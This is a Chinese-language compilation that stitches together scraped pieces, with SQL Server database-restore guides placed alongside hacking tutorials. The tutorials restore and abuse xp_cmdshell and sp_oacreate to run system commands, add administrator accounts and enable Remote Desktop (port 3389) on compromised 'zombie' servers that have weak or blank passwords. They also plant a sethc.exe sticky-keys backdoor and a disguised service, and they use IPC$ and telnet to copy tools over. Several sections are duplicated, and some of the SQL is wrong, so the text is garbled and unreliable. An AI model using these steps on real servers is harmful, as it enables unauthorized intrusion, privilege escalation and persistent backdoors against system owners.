SQL恢复XP_CMDSHLL 直接用SQL连接器开启3389
sql还原数据库步骤
sql还原数据库步骤数据库是现代信息系统中非常重要的组成部分,它存储了大量的数据,并提供了对这些数据的管理和访问功能。
然而,由于各种原因,数据库可能会出现损坏或丢失的情况,这时就需要进行数据库还原操作。
SQL是一种用于管理和操作数据库的语言,下面将介绍SQL还原数据库的步骤。
第一步:备份数据库在进行数据库还原之前,首先需要确保已经对数据库进行了备份。
数据库备份是将数据库的数据和结构保存到一个文件中,以便在需要时可以恢复数据库。
备份可以通过数据库管理工具或者使用SQL语句来完成。
一般来说,定期进行数据库备份是非常重要的,以防止数据丢失。
第二步:创建新的数据库在进行数据库还原之前,需要先创建一个新的数据库,用于存储还原后的数据。
可以使用数据库管理工具或者使用SQL语句来创建新的数据库。
在创建数据库时,需要指定数据库的名称、字符集、排序规则等信息。
第三步:还原数据库在创建新的数据库之后,就可以开始进行数据库还原操作了。
数据库还原是将备份文件中的数据和结构恢复到新创建的数据库中。
可以使用数据库管理工具或者使用SQL语句来进行数据库还原。
在进行数据库还原时,需要指定备份文件的路径和名称,并选择还原的选项,如是否还原数据、是否还原日志等。
第四步:验证还原结果在完成数据库还原之后,需要对还原结果进行验证,以确保还原操作成功。
可以通过查询数据库中的数据、检查数据库的结构等方式来验证还原结果。
如果还原结果与备份文件中的数据和结构一致,则说明还原操作成功。
第五步:测试数据库在验证还原结果之后,可以进行数据库的测试。
测试数据库是为了确保还原后的数据库可以正常工作,并且数据可以正确地被访问和管理。
可以通过执行一些常见的数据库操作,如插入数据、更新数据、删除数据等来测试数据库的功能。
第六步:定期备份数据库在完成数据库还原之后,为了防止数据丢失,需要定期进行数据库备份。
定期备份可以保证数据库中的数据得到及时的保护,并且在需要时可以快速恢复数据库。
用sql语句恢复数据库文件
用sql语句恢复数据库文件第一篇:用sql语句恢复数据库文件用sql语句恢复数据库文件(*.dmf和*.ldf)用sql语句恢复数据库文件(*.dmf和*.ldf)多用于,由于服务器操作系统崩溃或无法启动sql server 时常用的一种办法.方法1: 把备份的数据库数据文件(*.mdf)和日志文件(*.ldf)都拷贝到服务器的一个目录下,然后打开SQL Server Query(查询分析器)进行操作。
例如:D盘HisenseSysDate目录下存有: SysDB_data.mdf,和SysDB_log.ldf备份的文件。
通过sql 语恢复为SysDB的数据库名.(注:恢复为SysDB的数据库名在sql server 企管管理器下必须是唯一的,即没有SysDB数所库名才可以恢复为SysDB的数据库名)。
操作步骤:1.打开sqlserver下面的queryAnalyzer(即查询分析器)2.输入:EXEC sp_attach_db @dbname = N'SysDB',@filename1 = N'D:dataSysDB_Data.MDF',@filename2 = N'D:dataSysDB _Log.LDF'go按”F5”执行。
3.以执行完成后,把第2步中的所有语句全部删除,然后输入如下语句:USE SysDBEXEC sp_updatestatsGo按”F5”执行。
提示所有表已经恢复成功后,即可连接软件了.另附:只恢复数据文件(*.mdf)时,不恢复事务日志文件(*.ldf)的方法如下:首先在企业管理器下,建立一个数据库名(如:SysDB)然后,同样打开sql server 查询分析器,然后输入:EXEC sp_attach_db @dbname = N'SysDB'EXEC sp_attach_single_file_db @dbname = SysDB, @physname = 'd:DataSysDB_data.mdf'go按F5执行完后,再执行以下语句:USE SysDBEXEC sp_updatestatsGo这个语句的作用是仅仅加载数据文件,日志文件可以由SQL Server数据库自动添加,但是原来的日志文件中记录的数据就丢失了。
3389错误解决
客户端无法连接到远程计算机的终端服务(3389)解决办法网管2010-08-27 16:12:21 阅读122 评论0 字号:大中小订阅1、首先确认远程登陆的服务是打开的,也就是Terminal Services服务右键我的电脑--管理--服务,找到Terminal Services服务,启动这个服务即可2、开启远程服务右键我的电脑--属性--远程,勾选“允许用户远程登陆到服务器”当然也可以在注册表中打开,依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server然后在右栏中找到“fDenyTSConnections”键双击打开后将该键值修改为“0”,点击“确定”按钮,最后关闭注册表编辑器。
最后远程重启Windows 2003服务器,即可生效 .素有“远程管理员”之称的Remote Administrator就正是这样一款专为远程管理Windows NT/2000/XP服务器而量身定做的远程控制软件。
Remote Administrator的下载地址是/soft/html/3435.htm。
它的大小仅有2.4M ,比起Pcanywhere 来要秀气的多了。
运行平台:Windows 98/NT/2000/XP。
问题需求:现在局域网中有一台Windows 2000 SEVER的服务器,其IP地址为192.168.0.1,要求对其实现远程管理。
实现步骤:1、首先在本地机与远程机(在本实例中远程机为Windows 2000 SEVER服务器)上分别安装好Remote Administrator.它的安装没有什么难的,打开软件包,一路“NEXT”下去即可。
安装结束以后会出现一个系统提示框:Remote Administrator可以在两种方式下运行.一种是添加到系统设置之中,随着Windows的启动, Remote Administrator就会自动在后台运行;另一种是由管理员手动决定Remote Administrator何时启动.为了系统的安全起见,读者在此推荐后一种。
sql server怎么启用xp_cmdshell组件
sql server怎么启用xp_cmdshell组件
有时候,我们在使用sql server时会被阻止访问”xp_cmdshell“等插件。
但是,这会妨碍我们一部分很重要的工作。
下面,小编就来带领大家一起分析一番这其中的原因和解决办法。
“xp_cmdshell”是sql server中运转系统命令的功用强大的系统存储过程,普通在平安级别较高的效劳器上,普通倡议关闭或限制对xp_cmdshell的访问权限。
由于它的消弭不会对Server形成什么不良影响。
但是特殊状况下,能够经过sp_configure来或者有效工具启用或者禁用xp_cmdshell。
经过"sql server外围应用配置器"开启。
找到开端--> SQL装置目录-->配置SQL server managerment外围应用配置器。
如图:
SQL server managerment外围应用配置器,翻开后。
找到并点击“功用的外围应用配置器”。
再翻开的窗口中点击最下面的xp_cmdshell然后点击右边的启用即可。
功用的外围应用配置器,翻开后,找到“xp_cmdshell”点击启用即可。
sql cmdshell的恢复办法
寒山sql数据库修复中心/要完成的任务:修复错误Error Message:未能找到存储过程'master..xp_cmdshell'。
修复方法:xp_cmdshell新的恢复办法第一步先删除:drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'第二步恢复:dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")直接恢复,不管sp_addextendedproc是不是存在要完成的任务:修复错误Error Message:未能找到存储过程'master..xp_cmdshell'。
修复方法:xp_cmdshell新的恢复办法第一步先删除:drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'第二步恢复:dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")直接恢复,不管sp_addextendedproc是不是存在第四课:拒绝访问Dir net.exe /s /p第五课:1433手工入侵系列教程第五课:修复Error Message:SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
5种方法开启3389端口[新版]
5种方法开启3389端口打开3389的5种方法怎么样开3389端口,这里我把他们总结一下,很全面,希望对你有用:1,打开记事本,编辑内容如下:echo[Components]>c:\sqlechoTSEnable=on>>c:\sqlsysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\sql/q编辑好后存为BAT文件,上传至肉鸡,执行。
这里值得注意的是要确定winnt 是否在c盘,如果在其他盘则需要改动。
2(对xp\2000都有效)脚本文件本地开3389工具:rots1.05使用方法:在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如:c:\>cscriptROTS.vbs<目标IP><用户名><密码>[服务端口][自动重起选项]服务端口:设置终端服务的服务端口。
默认是3389。
自动重起选项:使用/r表示安装完成后自动重起目标使设置生效。
使用/fr表示强制重起目标。
(如果/r不行,可以试试这个)使用此参数时,端口设置不能忽略。
比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空运行CMD(2000下的DOS),我们给它开终端!命令如下!cscriptreg.vbe222.222.222.222administrator""3389/fr上面的命令应该可以理解吧?cscriptreg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问”
-------------------------------------------------------------------------------------------------------------菜鸟腾飞技术交流网专业的网络安全技术培训基地(2009年1月1日最新开张目前所有培训项目全部免费)动画教程只是起到一个演示作用.请大家不用利用此方法对国内的网络做任何破坏.国人应该团结起来一致对外才是我们的责任.由此动画造成的任何后果和本站无关.-------------------------------------------------------------------------------------------------------------create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO恢复存储过程'master..xpcmdshell':EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int卸载存储过程xp_cmdshell:sp_dropextendedproc 'xp_cmdshell'“SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问”打开分析器,执行下面的语句-- To allow advanced options to be changed.EXEC sp_configure 'show advanced options', 1GO-- To update the currently configured value for advanced options. RECONFIGUREGO-- To enable the feature.EXEC sp_configure 'xp_cmdshell', 1GO-- To update the currently configured value for this feature. RECONFIGUREGO恢复sp_addextendedproc语句:create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGOxp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'恢复dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")1.未能找到存储过程'master..xpcmdshell'之解决方法:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。
5种方法开启3389端口
5种方法开启3389端口打开3389的5种方法怎么样开3389端口,这里我把他们总结一下,很全面,希望对你有用:1,打开记事本,编辑内容如下:echo[Components]>c:\sqlechoTSEnable=on>>c:\sqlsysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\sql/q编辑好后存为BAT文件,上传至肉鸡,执行。
这里值得注意的是要确定winnt 是否在c盘,如果在其他盘则需要改动。
2(对xp\2000都有效)脚本文件本地开3389工具:rots1.05使用方法:在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如:c:\>cscriptROTS.vbs<目标IP><用户名><密码>[服务端口][自动重起选项]服务端口:设置终端服务的服务端口。
默认是3389。
自动重起选项:使用/r表示安装完成后自动重起目标使设置生效。
使用/fr表示强制重起目标。
(如果/r不行,可以试试这个)使用此参数时,端口设置不能忽略。
比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空运行CMD(2000下的DOS),我们给它开终端!命令如下!cscriptreg.vbe222.222.222.222administrator""3389/fr上面的命令应该可以理解吧?cscriptreg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。
打开3389端口的6种方法
c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]
服务端口: 设置终端服务的服务端口。默认是3389。
自动重起选项: 使用/r表示安装完成后自动重起目标使设置生效。
使用/fr表示强制重起目标。(如果/r不行,可以试试这个)
特点:1、不用修改注册表的安装路径,注册表会自动修改,安装完后会自动恢复到原来的安装路径,2、在后台安静模式运行,就算肉鸡旁有人也没有关系!3、在添加和删除中看不出终端服务被安装的痕迹,也就是启动终端前不会打钩,4、不会在肉鸡上留下你的上传文件,在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件!5、不管肉鸡的winnt装在什么盘上都无所谓!6、安装完终端后会删除在管理工具中的终端快捷图标!7、在没有安装终端前,终端服务是被禁止的!安装终端后,终端服务被改为自动!但是如果在安装前终端服务是手动!安装后就可能还是手动!等重启后就不会打开服务!所以在软件中加了sc指令,等安装完后,不管终端服务是禁止还是手动还是自动,全部改为自动。8、自动检测肉鸡是不是服务器版,如果不是删除原文件,不执行安装,如果是服务器版就执行安装!9、支持中日韩繁四个版本的win2000服务器版!
4,下载DameWare NT Utilities 3.66.0.0 注册版
安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。
复制启动后出现对方桌面。
在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入后在启动终端服务上打上勾。确定自动提示重起,重起后OK
3,下载3389自动安装程序-djshao正式版5.0
mssql提权遇到CreateProcess失败,错误代码:5。
mssql提权遇到CreateProcess失败,错误代码:5。
⽅法⼀:mssql 数据库注⼊时 exec xp_cmdshell 调⽤ 'CreateProcess' 失败的解决办法。
微软ms sql 2000/2005 注⼊时exec xp_cmdshell 调⽤ 'CreateProcess' 失败,错误代码: '5',两种解决办法。
原因不说了,⼀般都是cmd.exe被限制权限了,system⽤户没有权限,解决⽅法2种:1、替换shift⽂件(在开启3389情况下):下⾯两条语句为分别执⾏的。
这条语句将explorer.exe复制为sethc.exedeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';这条语句将sethc.exe复制到dllcache⽬录下declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo,'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';另外这两条语句使⽤到的sp_oacreate存储过程需要使⽤到odsole70.dll这个⽂件,所以这个⽂件的存亡,关系到创建的成功与否。
2、直接开启acess的沙盘(沙盒),来执⾏命令:EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net user 123 123 /add")');Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("netlocalgroup administrators 123 /add")');注意:如果是 Windows 2000,则将以上 Windows ⽬录改成 winnt。
开3389最简单得方法-电脑资料
开3389最简单得方法-电脑资料首先我们制作开启3389的工具先把下面的注册表内容copy一份,另存为3389.reg注册表文件注册表内容:Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\C urrentVersion\netcache]"Enabled"="0"[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows N T\CurrentVersion\Winlogon]"ShutdownWithoutLogon"="0"[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Wi ndows\Installer]"EnableAdminTSRemote"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Terminal Server]"TSEnabled"=dword:00000001[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\TermDD]"Start"=dword:00000002[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]"Hotkey"="1"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SecuService]"Start"=dword:00000002"ErrorControl"=dword:00000001"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d, 00,52,00,6f,00,6f,00,\74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,0 0,65,00,00,00"ObjectName"="LocalSystem""Type"=dword:00000010"Description"="Microsoft""DisplayName"="Microsoft"再把下面的内容保存为批处理文件3389.bat安装批处理内容:copy termsrv.exe eventlog.exeregedit.exe /s 3389.regdel 3389.regdel 3389.exedel 3389.bat用winrar制作成exe自解压缩包61.188.***.*** user:administrato pass:空先使用工具letmein判断其操作系统letmein \\ip -all -dTsInternetUser (TsInternetUser)这个是2000的终端用户,现在可以判断其为2000server了再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾应该没有开启了建立ipc连接copy工具过去net use \\ip\ipc$ "pass" /user:namecopy file \\ip\admin$\system32用opentelnet开对方的telnetopentelnet \\ip name pass 1 99用telnet进入进入到对方的winnt\system32\目录解压缩3389.exe运行安装批处理3389.bat现在我们把对方重起一下,用reboot我们用ping命令监视他的上线情况,等他下线,呵呵下了,又上来了,不慌连,3389等会才能好,对方的机器有点慢看见了么,开启成功!。
sql server xpcmd提权条件
sql server xpcmd提权条件
SQL Server中的xp_cmdshell是可执行操作系统命令的扩展存储过程。
它通常只能由sysadmin固定服务器角色的成员使用,并且需要启用xpcmdshell的配置选项才能工作。
因此,提权xp_cmdshell的条件包括:
1. 成为sysadmin角色的成员,这可以通过在SQL Server中创建帐户并授予sysadmin角色实现。
2. 在SQL Server中启用xp_cmdshell配置选项。
此选项需要由sysadmin角色的成员才能更改。
3. 利用漏洞或错误配置的SQL Server实例中的安全设置。
例如,如果实例中存在弱密码、未修补的漏洞或错误配置的权限,则攻击者可能能够利用这些条件以xp_cmdshell权限运行恶意代码。
sqlserver数据库还原步骤
sqlserver数据库还原步骤
嘿,朋友们!今天咱就来讲讲 SQL Server 数据库还原的那些事儿。
这就好比你有一个宝贝箱子,不小心给弄丢了里面的东西,现在咱得
想办法把它们都找回来,还得原模原样地放回去。
首先,你得找到之前备份好的数据库文件,这就像是找到了打开宝
贝箱子的钥匙。
没有这把钥匙,后面的事儿可就没法干啦!
然后呢,打开 SQL Server 管理工具,就像打开了进入宝藏之地的大门。
在里面找到“还原数据库”这个选项,这可是关键的一步哦。
接下来,选择要还原的数据库,这就好比你在众多箱子中准确地找
到了你要的那一个。
可别选错啦,不然可就乱套咯!
再然后,指定备份文件的位置,就像是给宝箱找到了正确的钥匙孔。
这一步可得仔细点,别找错地方啦。
接着,设置一些还原的选项,比如还原的方式啦,覆盖现有数据库
还是另存为新的啦,这就像是给宝贝箱子重新布置里面的东西,得安
排得妥妥当当的。
在这过程中,你可得瞪大了眼睛,别出啥岔子。
就好像你在小心翼
翼地摆放珍贵的瓷器,稍有不慎可就碎啦!
还原的过程可能会有点漫长,就像一场漫长的旅程,但别着急,耐
心等待。
等啊等,终于,数据库还原成功啦!就好像你终于找回了丢
失的宝贝,那种喜悦感,简直无与伦比!
想想看,如果没有这些步骤,我们的数据不就像断了线的风筝,不
知道飘到哪里去啦?所以说啊,这 SQL Server 数据库还原步骤可太重
要啦,咱可得牢牢记住,不然到时候抓瞎可就麻烦咯!大家说是不是呀?反正我觉得这可是关系到我们数据安全的大事,马虎不得!现在,你们都学会了吗?。
sql数据库 坏盘恢复 逻辑功能
sql数据库坏盘恢复逻辑功能SQL数据库坏盘恢复逻辑功能是指在数据库服务器硬盘损坏或出现故障的情况下,通过一系列的逻辑功能操作,恢复数据库的正常运行并保护数据的完整性。
本文将从故障原因分析、数据库备份与恢复、故障诊断与修复等方面,详细介绍SQL数据库坏盘恢复的逻辑功能。
一、故障原因分析当数据库服务器硬盘损坏或出现故障时,可能会导致数据库无法正常访问,从而造成数据丢失或损坏。
常见的故障原因包括硬盘故障、断电、系统崩溃、病毒攻击等。
在进行数据库坏盘恢复之前,首先需要对故障原因进行分析,确定硬盘是否完全损坏,以及数据库的完整性是否受到影响。
二、数据库备份与恢复数据库备份是保证数据库数据安全的重要手段,可以通过定期备份数据库来防止数据丢失。
在进行数据库坏盘恢复之前,首先需要检查是否有最新的备份文件,并将其还原到备份服务器上。
如果备份文件完整且没有受到硬盘损坏的影响,可以通过备份恢复数据库。
1. 导出备份文件:使用数据库管理工具或命令将数据库导出为备份文件,常见的格式包括SQL脚本文件、二进制文件等。
2. 还原备份文件:将备份文件还原到备份服务器上,可以使用数据库管理工具或命令进行操作。
在还原备份文件之前,需要确保备份服务器上有足够的存储空间。
3. 启动数据库:还原备份文件后,可以通过数据库管理工具或命令启动数据库,并验证数据是否完整。
如果数据完整无误,则完成数据库备份恢复的过程。
三、故障诊断与修复当数据库硬盘出现故障时,可能需要进行一系列的故障诊断与修复操作,以恢复数据库的正常运行。
1. 硬盘故障诊断:使用硬盘检测工具对损坏的硬盘进行诊断,确定硬盘是否完全损坏或部分可恢复。
2. 硬盘数据恢复:如果硬盘损坏且无法修复,则需要使用专业的硬盘数据恢复工具,尝试恢复数据。
这可能需要耗费较长时间并且并不一定成功。
3. 故障修复与替换:如果数据库服务器硬盘完全损坏,则需要将硬盘进行修复或替换。
可以将新的硬盘安装到服务器上,并使用操作系统和数据库管理工具对硬件进行重新配置与测试。
sql server 2008 xp_cmdshell 参数
sql server 2008 xp_cmdshell 参数
在SQL Server 2008中,xp_cmdshell是一个内置存储过程,用于调用外部程序。
要启用xp_cmdshell,您需要进行以下步骤:
1. 打开SQL Server Management Studio,连接到数据库。
2. 右键点击连接后的数据库,选择“属性”。
3. 在“数据库属性”窗口中,选择“安全性”选项卡。
4. 在“安全性”选项卡中,勾选“允许使用xp_cmdshell”复选框。
5. 单击“确定”以保存设置。
此外,您还可以通过以下SQL语句来启用或禁用xp_cmdshell:
启用xp_cmdshell:
```sql
EXEC sp_addextendedproperty 'MS_Description', 'xp_cmdshell', '1'
```
禁用xp_cmdshell:
```sql
EXEC sp_addextendedproperty 'MS_Description', 'xp_cmdshell', '0'
```
请注意,在实际工作环境中,为了安全起见,建议您仅在必要时启用xp_cmdshell,并在不需要时立即禁用它。
同时,建议对xp_cmdshell 的使用进行严格的权限控制,以防止未经授权的访问。
如何进行sql数据库恢复
如何进行sql数据库恢复任何数据库系统都无法避免崩溃的状况,即使您使用了Clustered,双机热备……仍然无法完全根除系统中的单点故障,何况对于大部分用户来说,无法承受这样昂贵的硬件投资。
所以,在系统崩溃的时候,如何恢复原有的宝贵数据就成为一个极其重要的问题了。
在恢复的时候,最理想的情况就是您的数据文档和日志文档都完好无损了,这样只需要sp_attach_db,把数据文档附加到新的数据库上即可,或在停机的时候把任何数据文档(一定要有master等)都copy到原有路径下也行,但是一般不推荐这样的做法,sp_attach_db比较好,虽然麻烦许多。
但是呢,一般数据库崩溃的时候系统是未必能有时间把未完成的事务和脏页等写入磁盘的,这样的情况sp_attach_db就会失败。
那么,寄期望于DBA定制了一个良好的灾难恢复计划吧。
按照您的恢复计划,还原最新的完全备份,增量备份或事务日志备份,然后假如您的活动事务日志还能读得出来的话,恭喜您!您能够还原到崩溃前的状态。
一般的单位都是没有专职的DBA的,假如没有可用的备份,更可能是最近一次备份的时间过于久远而导致不可接受的数据损失,而且您的活动事务日志也处于不可用的状态,那就是最麻烦的情况了。
不幸的很的是,一般数据库崩溃都是由于存储子系统引起的,而这样的情况是几乎不可能有可用的日志用于恢复的。
那么就只好试一下这些方案了。
当然,是需要至少您的数据文档是存在的,要是数据文档、日志文档和备份都没有了的话,别找我,您能够到楼顶上去唱“神啊,救救我吧”。
首先,您能够试一下sp_attach_single_file_db,试着恢复一下您的数据文档,虽然能恢复的可能性不大,但是假如这个数据库刚好执行了一个checkpoint的话,还是有可能成功的。
假如您没有好到有摸彩票的手气,最重要的数据库没有像您期盼的那样attach上去,不要气馁,还是有别的方案的。
我们能够试着重新建立一个log,先把数据库配置为emergency mode,sysdatabases的status为32768 就表示数据库处于此状态。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
SQL恢复XP_CMDSHLL 直接用SQL连接器开启3389.txt我这辈子只有两件事不会:这也不会,那也不会。
人家有的是背景,而我有的是背影。
肉的理想,白菜的命。
肉的理想,白菜的命。
白马啊你死去哪了!是不是你把王子弄丢了不敢来见我了。
SQL恢复XP_CMDSHLL 直接用SQL连接器开启3389
用SQL连接器恢复XP_CMDSHLLE的命令
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc ’xp_cmdshell’,’xpsql70.dll’
去除
sp_dropextendedproc ’xp_cmdshell’
(3)MSSQL2000
sp_addextendedproc ’xp_cmdshell’,’xplog70.dll’
修改sa密码 sp_password @old = null, @new = ’complexpwd’, @loginame =’sa’
这个很简单,自己堵后门用:)
二,在可以运行XP_CMDSHELL的机器上直接开3389不需要上传的
实例过程:
连接到主机:202.xxx.xxx.xxx //大家可以用sql连接器连上有空口令的sql肉机
命令:xp_cmdshell "type c:\boot.ini" // 输入命令,看系统,server版的才能开3389 执行成功,结果:
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect
命令:xp_cmdshell "echo [Components] > c:\duguxike" //在c盘根目录建写入一个文件,文件名duguxike大家可以自己改为自己的
执行成功,结果:
命令:xp_cmdshell "echo TsEnable = on >> c:\duguxike" //追加写入
执行成功,结果:
命令:xp_cmdshell "type c:\duguxike" //看看duguxike里的内容是否正确
执行成功,结果:
[Components]
TsEnable = on
TsEnable = on
命令:xp_cmdshell "sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\duguxike /q" //开3389,成功的话过会肉机会重启!!
执行成功,结果:
GetLocalManagedApplications returned (2)
之后就看大家的了,不过要记得册除新建的duguxike文件哦!!
三不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user gchn aaa /add’-- _content>如果XPCMDSHLL被删了第一条恢复
第二条可以执行XPCMDSHELL但是无法利用差异备分来上传的情况下使用(本人WIN2000下测试成功)
第三条XPLOG70.DLL被删除的情况下直接添加帐号前提对方了开了3389 139 23
才好用
但是我现在无法在XPLOG70.DLL被删而且没有开3389的机器上拿到系统权限
哪为高人来指点一下!。